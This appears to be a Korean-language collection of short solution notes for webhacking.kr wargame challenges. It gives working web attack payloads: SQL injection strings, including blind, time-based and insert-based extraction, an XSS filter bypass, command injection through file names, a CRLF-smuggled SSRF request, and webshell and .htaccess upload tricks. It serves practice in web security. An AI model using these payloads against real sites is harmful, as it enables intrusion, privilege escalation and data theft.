풀이 : response 시 날아오는 js 코드에 location.href가 존재하므로 이를 삭제하여 접근해준다
풀이 : 사용자의 쿠키 값을 계속 replace하여 바꾸고 base64 인코딩한다. 이를 반대로 계산하여 admin, nimda가 되게 만들면 끝
풀이 : function ck()
, if(ul==pw.input_pwd.value)
에 만족하는 값 넣어주면 끝
풀이 : if(cd==124) location.href=String.fromCharCode(cd)+".php"; // do it!
에 만족하는 | 입력하면 끝
풀이 : console.log(unlock)
확인 후 출력해서 입력해주면 끝
풀이 : 0%09or%09no=2, %20 필터링 %09로 우회하면 끝
풀이 : 쿠키 변경해서 필터링 우회하면 끝
풀이 : guest 후 개행하여 ip:admin 작성하면 문제 해결조건 달성 가능
풀이 : id='{$_POST['id']}"
마지막에 싱글쿼터 하나가 누락되어있다 하지만 싱글쿼터는 입력 시 두개로 치환된다. substr을 통해 15 bytes만 입력하고 있으므로 16 bytes부터는 끊기는 점을 이용하여 입력하면 끝
풀이 : aview.innerHTML=x.responseText;
로 인해 문자가 계속 바뀌므로 aview.innerHTML+=x.responseText;
로 바꾸어 문자가 계속 추가되게 변경하고 실행하면 끝
풀이 : simple SQLi 문제, admin'-- 입력하면 끝
풀이 : php wrapper을 통해 php 파일 내용을 읽는 문제
풀이 : SQLi 문제인데, = 필터링, like로 우회 가능, --사용 시 뒤에 공백 or NULL 필요, %20, %09, %00 등
풀이 : 10000~10100 중 랜덤 포트로 연결하므로, 10000으로 redirection 시켜고 포트 열고 기다리면 끝
풀이 : burp intruder로 cookie 값 제거한 request 패킷 100번 전송하면 끝
풀이 : 메일을 보내는 서비스 인 듯한데, data에 Cc: id@email.com을 추가하여 참조를 강제로 더해주면 끝
풀이 : command를 실행할 수 있는데, 주어진 사이트에서는 guest로 실행된다. flag는 admin으로 실행해야한다고 나오므로 js 코드의 guest 부분을 admin으로 바꿔치기해서 console로 실행해주면 끝
풀이 : $_COOKIE['user_lv']
을 3 보다 큰 수를 줘야하지만, 4 이상의 수는 줄 수 없다. 3.1 주면 끝
풀이 : 2초 안에 옳바른 captcha 값을 읽고 submit해야하는 문제이다. js 코드 만들어놓고 새로고침 후 바로 제출하여 해결
lv5frm.id.value="yoobi";
lv5frm.cmt.value="yoobi";
lv5frm.captcha.value=lv5frm.captcha_.value;
lv5frm.submit();
풀이 : eregi 함수 우회 payload : <s%00c%00r%00i%00p%00t>a%00l%00e%00r%00t(1);</s%00c%00r%00i%00p%00t>
끝
풀이 : 다양한 get, post, cookie, remote_ip, php 등등 하나씩 통과하는 문제
풀이 : vi 사용 중 정상적인 종료를 하지 않는 경우 생성되는 .index.php.swp과 같은 파일의 존재를 묻는 문제, 파일 내에 FLAG 존재 (공격 시 활용 가능)
풀이 : 파일다운로드 취약점 문제이다. 파일명을 그대로 사용하지는 않지만 base64 인코딩한 값으로 파일을 다운로드하므로, 다운로드 권한이 없는 파일을 다운할 수 있고 그 안에 FLAG 존재한다
풀이 :
"insert into chall59 values('{$_POST['id']}',{$_POST['phone']},'guest')"
와 같이 insert 하는 상황에서
reverse(id)
를 활용하여 뒤의 'guest'가 아닌 'admin' 권한의 계정을 추가하는 문제
"insert into chall59 values('nimda',1, reverse(id))-- ,'guest')"
풀이 : id=0x61646D696E id
를 입력해주면 끝, 싱글쿼터 사용이 불가능하기 때문에, admin 은 0x61646d696e로 나타낼 수 있고, admin as id 와 같이 작성하면 id 칼럼의 이름을 admin이라는 별칭으로 select 결과가 return되게 된다. 따라서 $result['id'] == "admin"
을 만족하게된다.
풀이 : style로 작성되어진 코드를 우회하는 문제이다
풀이 : aaencode로 인코딩된 js 코드이다. js는 정말 많은 obfuscator가 있는 것 같다. 복호화한 js 코드를 보면 간단하게 풀 수 있다.
풀이 : password를 찾으면 되는 blind SQL
풀이 : flag를 읽어서 보내주는 bot이 존재한다. 타이밍에 맞게 파일이름을 줘서 업로드하면 flag를 보내준다
풀이 : 에러메시지를 활용하여 파일이 업로드되는 위치를 파악해보는 문제, 웹쉘 업로드 후 실행하기 위헤선 path를 알아야 하기에 이를 묻는 것 같다
풀이 : 웹쉘 업로드 문제이다. php 파일은 wrong type을 돌려준다. burp로 잡아서 Content-Type: 값을 image/png 등 통과가 가능한 값으로 변경하여 올려주면 끝
풀이 : md5() 함수를 사용하므로서 비밀번호 검증을 진행하려고 하지만, md5($_POST['pw'], true);
와 같이 2번 째 인자로 true를 주면 md5로 암호화된 값이 문자열 형태로 존재하게 된다. 이 때, or 1=1과 같이 공격이 가능한 형태의 문자열이 되는 md5 값을 찾아서 pw로 입력해주면 SQLi가 터진다.
풀이 : search는 게시글의 내용을 검색하는 서비스이므로 blind SQLi로 FLAG 값을 추출할 수 있다
풀이 : $hash = rand(10000000, 99999999)."salt_for_you";
를 우회하는 문제이다. rainbowtable을 만들고 탐색해서 rand()
값을 찾아서 제출하면 끝
풀이 : join.php
를 access 하면 bye 가 뜨는데, js로 관리하고 있으므로 response 패킷 수정하여 bypass 한다. 그 후, admin/admin 으로 가입하면 이미 존재한다고 나오는데, +admin/admin 은 정상적으로 가입이 된다. 로그인 하면 끝
풀이 : SQLi 문제이다. preg_match
를 bypass하고 $data[0]==2
를 만족하면된다.
0)union(select(char(50)))%23
풀이 : $pat="/[1-3][a-f]{5}_.*$_SERVER[REMOTE_ADDR].*\tp\ta\ts\ts/";
와 preg_match($pat,$_GET['val'])
를 만족시키는 문제이다.
?val=1aaaaa_127.0.0.1%09p%09a%09s%09s
풀이 : "select id,cash from chall46 where lv=$_GET[lv]"
하는데, $result['id'] == "admin"
은 만족하여야 한다. 그 외에도 띄어쓰기 불가 등 짜잘한 필터링이 존재한다.
?lv=0||id=char(97,100,109,105,110)
풀이 : old-46에서 필터링이 추가되어 ()
사용이 불가능하다.
?lv=0||id=0x61646d696e
풀이 : 쿠키 값 수정 문제인데 sleep(1)
이 있어서 race condition 활용하여 solve()
풀이 : 처음에 간단한 퍼즐을 풀면, name을 입력하라고 하는데, 소스보기로 확인하면 hidden answer이 존재한다. 임의의 값이 들어있는데, 1' or '1'='1
로 SQLi 하면 끝
풀이 :
$agent=trim(getenv("HTTP_USER_AGENT"));
// Set User-Agent : test','127.0.0.1','admin')#
if(!$ck){
$q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
echo("<br><br>done! ({$count_ck[0]}/70)");
}
// Set User-Agent : test
$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);
if($ck){
echo "hi <b>".htmlentities($ck[0])."</b><p>";
if($ck[0]=="admin"){
mysqli_query($db,"delete from chall8");
solve(8);
}
}
풀이 :
"insert into chall35(id,ip,phone) values('{$_GET['id']}','{$_SERVER['REMOTE_ADDR']}',{$_GET['phone']})"
values(1,1,1) -> values(1,1,1),(2,2,2) 가능
따라서 phone : 1),('admin','183.107.116.68','2'
풀이 : 메모와 함께 파일을 업로드할 수 있다. 이때, 파일을 삭제하면 rm "파일명"
형태로 명령어가 실행되기 때문에, 파일명을 ;ls -al로 주면 RCE가 터진다.
풀이 : $hidden_table
이 존재해서 table 값을 알아내는 문제이다. ?val=a procedure analyse()
로 현재 사용되고 있는 컬럼에 대한 정보를 알 수 있다.
?answer=chall53_755fdeb36d873dfdeb2b34487d50a805
풀이 :
# check SQLi
a.png',1234,'183.107.116.68')#
# result : 1970-01-01 09:20:34 | 183.107.116.68 | a.png
# get DB info
a.png',1234,'183.107.116.68'),(database(),1234,'183.107.116.68')#
# result : 1970-01-01 09:20:34 | 183.107.116.68 | chall29
# get table name
a.png',1234,'183.107.116.68'),((select group_concat(table_name) from information_schema.tables where table_schema='chall29' ),1234,'183.107.116.68')#
# result : 1970-01-01 09:20:34 | 183.107.116.68 | files,flag_congratz
# get FLAG
a.png',1234,'183.107.116.68'),((select * from flag_congratz),1234,'183.107.116.68')#
# result : 1970-01-01 09:20:34 | 183.107.116.68 | FLAG{didYouFeelConfused?_sorry:)}
풀이 : 복잡한 js 코드가 주어진다. location[b('0x1c','4c%d')]=b('0x1d','llaF')
-> ./?Passw0RRdd=1
풀이 : proxy.php는 page 를 받아서 서버가 request를 실행하고 사용자에게 parsing 해주는 서비스로 보인다. REMOTE_ADDR을 필터링하고 있는데 proxy.php 서비스를 통해 실행이 가능하다 (SSRF)
Request
GET /admin/ HTTP/1.1
Host: webhacking.kr:10008
Cookie: PHPSESSID=nqa0hkqsrbiuu9g62asjpp5q8d
Connection: Close
HTTP/1.1
Host: webhacking.kr:10008
Connection: Close
?page=/admin/%20HTTP/1.1%0d%0aHost:%20webhacking.kr:10008%0d%0aCookie:%20PHPSESSID=nqa0hkqsrbiuu9g62asjpp5q8d%0d%0aConnection:%20Close%0d%0a%0d%0a
풀이 : blind SQLi 문제, substr()
이 사용이 안되므로 left()
, right()
를 사용해서 돌리면 끝
풀이 : if($result['lv']=="3")
를 만족시켜야 한다. 다양한 필터링을 우회하고, addslashes()
는 (%a1 ~ %fe)로 우회한다. id
에 /*
pw
에 */
를 주어서 사이 값들을 주석처리 할 수 있다. table에 있는 값 중에 id=3
은 없지만 조건을 만족시켜야 하기 때문에 union
을 사용한다.
?id=%bf%27/*&pw=*/union%09select%093%23
풀이 : blind SQLi , cookie time 값 -> true : ~09:00:00 , false : ~09:00:00 를 활용하면 된다
풀이 : blind SQLi, admin 비밀번호 구하기 -> true : Wrong Password , false : Login Fail! 를 활용하면 된다
풀이 : .htaccess
파일에 php_flag engine off
내용을 입력하고 업로드하여 적용시켜서 flag.php
내부 코드를 읽으면 끝
풀이 : blind SQLi, admin 비밀번호 구하기 -> true : Success , false : Failure 를 활용하면 된다
풀이 : command injection 문제, system("echo 'hello! {$id}'");
';ls'
풀이 : chall30 db가 존재하는지 확인하고, select flag from chall30_answer
한 값이 존재하면 include "/flag";
한다. 따라서 개인서버를 열어주고 .htacces
파일을 업로드해서 준비한 서버로 연결하게 하면 끝
php_value mysqli.default_host "ip:port"
php_value mysqli.default_user "id"
php_value mysqli.default_pw "pw"
풀이 : addslashes()
-> (%a1~%fe) , admin/= filter -> 0x61646D696E
?id=1%a1%27 or id like 0x61646D696E%23&pw=guest
풀이 : Time Based SQLi,
if(length(pw)>0,sleep(3.0),1)
풀이 : blind SQL,
?no=if(length(database())like(10),1,99)
풀이 : blind SQL